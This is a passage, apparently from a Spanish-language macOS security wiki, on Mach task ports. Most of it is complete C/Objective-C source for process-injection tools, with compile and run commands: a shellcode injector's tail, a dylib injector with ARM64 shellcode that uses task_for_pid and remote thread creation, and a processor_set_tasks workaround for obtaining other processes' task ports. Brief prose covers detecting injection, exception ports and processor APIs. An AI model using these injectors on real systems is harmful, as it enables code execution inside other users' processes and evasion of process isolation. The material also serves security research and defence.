// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask, // Task port
remoteCode64, // Virtual Address (Destination)
(vm_address_t) injectedCode, // Source
0xa9); // Length of the source
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}
// Set the permissions on the allocated code memory
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}
// Set the permissions on the allocated stack memory
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}
// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}
return (0);
}
pid_t pidForProcessName(NSString *processName) {
NSArray *arguments = @[@"pgrep", processName];
NSTask *task = [[NSTask alloc] init];
[task setLaunchPath:@"/usr/bin/env"];
[task setArguments:arguments];
NSPipe *pipe = [NSPipe pipe];
[task setStandardOutput:pipe];
NSFileHandle *file = [pipe fileHandleForReading];
[task launch];
NSData *data = [file readDataToEndOfFile];
NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
return (pid_t)[string integerValue];
}
BOOL isStringNumeric(NSString *str) {
NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet];
NSRange r = [str rangeOfCharacterFromSet: nonNumbers];
return r.location == NSNotFound;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
if (argc < 2) {
NSLog(@"Usage: %s <pid or process name>", argv[0]);
return 1;
}
NSString *arg = [NSString stringWithUTF8String:argv[1]];
pid_t pid;
if (isStringNumeric(arg)) {
pid = [arg intValue];
} else {
pid = pidForProcessName(arg);
if (pid == 0) {
NSLog(@"Error: Process named '%@' not found.", arg);
return 1;
}
else{
printf("Found PID of process '%s': %d\n", [arg UTF8String], pid);
}
}
inject(pid);
}
return 0;
}
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>
tip
Para que esto funcione en iOS, necesitas el derecho dynamic-codesigning
para poder hacer un ejecutable de memoria escribible.
Inyección de Dylib en hilo a través del puerto de tarea
En macOS, los hilos pueden ser manipulados a través de Mach o usando la api pthread
de posix. El hilo que generamos en la inyección anterior fue generado usando la api de Mach, por lo que no es compatible con posix.
Fue posible inyectar un simple shellcode para ejecutar un comando porque no necesitaba trabajar con apis compatibles con posix, solo con Mach. Inyecciones más complejas necesitarían que el hilo también sea compatible con posix.
Por lo tanto, para mejorar el hilo, debería llamar a pthread_create_from_mach_thread
, que creará un pthread válido. Luego, este nuevo pthread podría llamar a dlopen para cargar un dylib del sistema, así que en lugar de escribir un nuevo shellcode para realizar diferentes acciones, es posible cargar bibliotecas personalizadas.
Puedes encontrar dylibs de ejemplo en (por ejemplo, el que genera un registro y luego puedes escucharlo):
macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES
dylib_injector.m
// gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
// Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c
#include <dlfcn.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <mach/mach.h>
#include <mach/error.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/sysctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <pthread.h>
#ifdef __arm64__
//#include "mach/arm/thread_status.h"
// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported
// And I say, bullshit.
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);
#else
#include <mach/mach_vm.h>
#endif
#define STACK_SIZE 65536
#define CODE_SIZE 128
char injectedCode[] =
// "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :)
// Call pthread_set_self
"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables
"\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack
"\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer
"\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the
"\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0;
"\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start
"\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0;
"\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread)
"\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread
"\x00\x00\x00\x14" // loop: b loop ; loop forever
// Call dlopen with the path to the library
"\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB...";
"\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0;
"\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop
"\x00\x01\x3f\xd6" // BLR X8 ; do dlopen()
// Call pthread_exit
"\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT
"\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0;
"\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit
"PTHRDCRT" // <-
"PTHRDEXT" // <-
"DLOPEN__" // <-
"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;
int inject(pid_t pid, const char *lib) {
task_t remoteTask;
struct stat buf;
// Check if the library exists
int rc = stat (lib, &buf);
if (rc != 0)
{
fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno));
//return (-9);
}
// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}
// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}
// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
// Patch shellcode
int i = 0;
char *possiblePatchLocation = (injectedCode );
for (i = 0 ; i < 0x100; i++)
{
// Patching is crude, but works.
//
extern void *_pthread_set_self;
possiblePatchLocation++;
uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread;
uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit;
uint64_t addrOfDlopen = (uint64_t) dlopen;
if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadExit,8);
printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit);
}
if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadCreate,8);
printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate);
}
if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
{
printf ("DLOpen @%llx\n", addrOfDlopen);
memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
}
if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
{
strcpy(possiblePatchLocation, lib );
}
}
// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask, // Task port
remoteCode64, // Virtual Address (Destination)
(vm_address_t) injectedCode, // Source
0xa9); // Length of the source
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}
// Set the permissions on the allocated code memory
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}
// Set the permissions on the allocated stack memory
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}
// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}
return (0);
}
int main(int argc, const char * argv[])
{
if (argc < 3)
{
fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]);
fprintf (stderr, " _action_: path to a dylib on disk\n");
exit(0);
}
pid_t pid = atoi(argv[1]);
const char *action = argv[2];
struct stat buf;
int rc = stat (action, &buf);
if (rc == 0) inject(pid,action);
else
{
fprintf(stderr,"Dylib not found\n");
}
}
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>
Secuestro de Hilos a través del Puerto de Tarea
En esta técnica, se secuestra un hilo del proceso:
macOS Thread Injection via Task port
Detección de Inyección de Puerto de Tarea
Al llamar a task_for_pid
o thread_create_*
, se incrementa un contador en la estructura de tarea del kernel, que puede ser accedida desde el modo usuario llamando a task_info(task, TASK_EXTMOD_INFO, ...)
Puertos de Excepción
Cuando ocurre una excepción en un hilo, esta excepción se envía al puerto de excepción designado del hilo. Si el hilo no la maneja, se envía a los puertos de excepción de la tarea. Si la tarea no la maneja, se envía al puerto del host, que es gestionado por launchd (donde será reconocida). Esto se llama triaje de excepciones.
Ten en cuenta que al final, si no se maneja adecuadamente, el informe terminará siendo manejado por el demonio ReportCrash. Sin embargo, es posible que otro hilo en la misma tarea gestione la excepción, esto es lo que hacen las herramientas de informes de fallos como PLCreashReporter
.
Otros Objetos
Reloj
Cualquier usuario puede acceder a información sobre el reloj, sin embargo, para establecer la hora o modificar otras configuraciones, uno debe ser root.
Para obtener información, es posible llamar a funciones del subsistema clock
como: clock_get_time
, clock_get_attributtes
o clock_alarm
Para modificar valores, se puede usar el subsistema clock_priv
con funciones como clock_set_time
y clock_set_attributes
.
Procesadores y Conjunto de Procesadores
Las APIs de procesador permiten controlar un solo procesador lógico llamando a funciones como processor_start
, processor_exit
, processor_info
, processor_get_assignment
...
Además, las APIs de conjunto de procesadores proporcionan una forma de agrupar múltiples procesadores en un grupo. Es posible recuperar el conjunto de procesadores predeterminado llamando a processor_set_default
.
Estas son algunas APIs interesantes para interactuar con el conjunto de procesadores:
processor_set_statistics
processor_set_tasks
: Devuelve un array de derechos de envío a todas las tareas dentro del conjunto de procesadoresprocessor_set_threads
: Devuelve un array de derechos de envío a todos los hilos dentro del conjunto de procesadoresprocessor_set_stack_usage
processor_set_info
Como se mencionó en esta publicación, en el pasado esto permitía eludir la protección mencionada anteriormente para obtener puertos de tarea en otros procesos y controlarlos llamando a processor_set_tasks
y obteniendo un puerto de host en cada proceso.
Hoy en día, necesitas ser root para usar esa función y esto está protegido, por lo que solo podrás obtener estos puertos en procesos no protegidos.
Puedes probarlo con:
código processor_set_tasks
// Maincpart fo the code from https://newosxbook.com/articles/PST2.html
//gcc ./port_pid.c -o port_pid
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/sysctl.h>
#include <libproc.h>
#include <mach/mach.h>
#include <errno.h>
#include <string.h>
#include <mach/exception_types.h>
#include <mach/mach_host.h>
#include <mach/host_priv.h>
#include <mach/processor_set.h>
#include <mach/mach_init.h>
#include <mach/mach_port.h>
#include <mach/vm_map.h>
#include <mach/task.h>
#include <mach/task_info.h>
#include <mach/mach_traps.h>
#include <mach/mach_error.h>
#include <mach/thread_act.h>
#include <mach/thread_info.h>
#include <mach-o/loader.h>
#include <mach-o/nlist.h>
#include <sys/ptrace.h>
mach_port_t task_for_pid_workaround(int Pid)
{
host_t myhost = mach_host_self(); // host self is host priv if you're root anyway..
mach_port_t psDefault;
mach_port_t psDefault_control;
task_array_t tasks;
mach_msg_type_number_t numTasks;
int i;
thread_array_t threads;
thread_info_data_t tInfo;
kern_return_t kr;
kr = processor_set_default(myhost, &psDefault);
kr = host_processor_set_priv(myhost, psDefault, &psDefault_control);
if (kr != KERN_SUCCESS) { fprintf(stderr, "host_processor_set_priv failed with error %x\n", kr);
mach_error("host_processor_set_priv",kr); exit(1);}
printf("So far so good\n");
kr = processor_set_tasks(psDefault_control, &tasks, &numTasks);
if (kr != KERN_SUCCESS) { fprintf(stderr,"processor_set_tasks failed with error %x\n",kr); exit(1); }
for (i = 0; i < numTasks; i++)
{
int pid;
pid_for_task(tasks[i], &pid);
printf("TASK %d PID :%d\n", i,pid);
char pathbuf[PROC_PIDPATHINFO_MAXSIZE];
if (proc_pidpath(pid, pathbuf, sizeof(pathbuf)) > 0) {
printf("Command line: %s\n", pathbuf);
} else {
printf("proc_pidpath failed: %s\n", strerror(errno));
}
if (pid == Pid){
printf("Found\n");
return (tasks[i]);
}
}
return (MACH_PORT_NULL);
} // end workaround
int main(int argc, char *argv[]) {
/*if (argc != 2) {
fprintf(stderr, "Usage: %s <PID>\n", argv[0]);
return 1;
}
pid_t pid = atoi(argv[1]);
if (pid <= 0) {
fprintf(stderr, "Invalid PID. Please enter a numeric value greater than 0.\n");
return 1;
}*/
int pid = 1;
task_for_pid_workaround(pid);
return 0;
}
```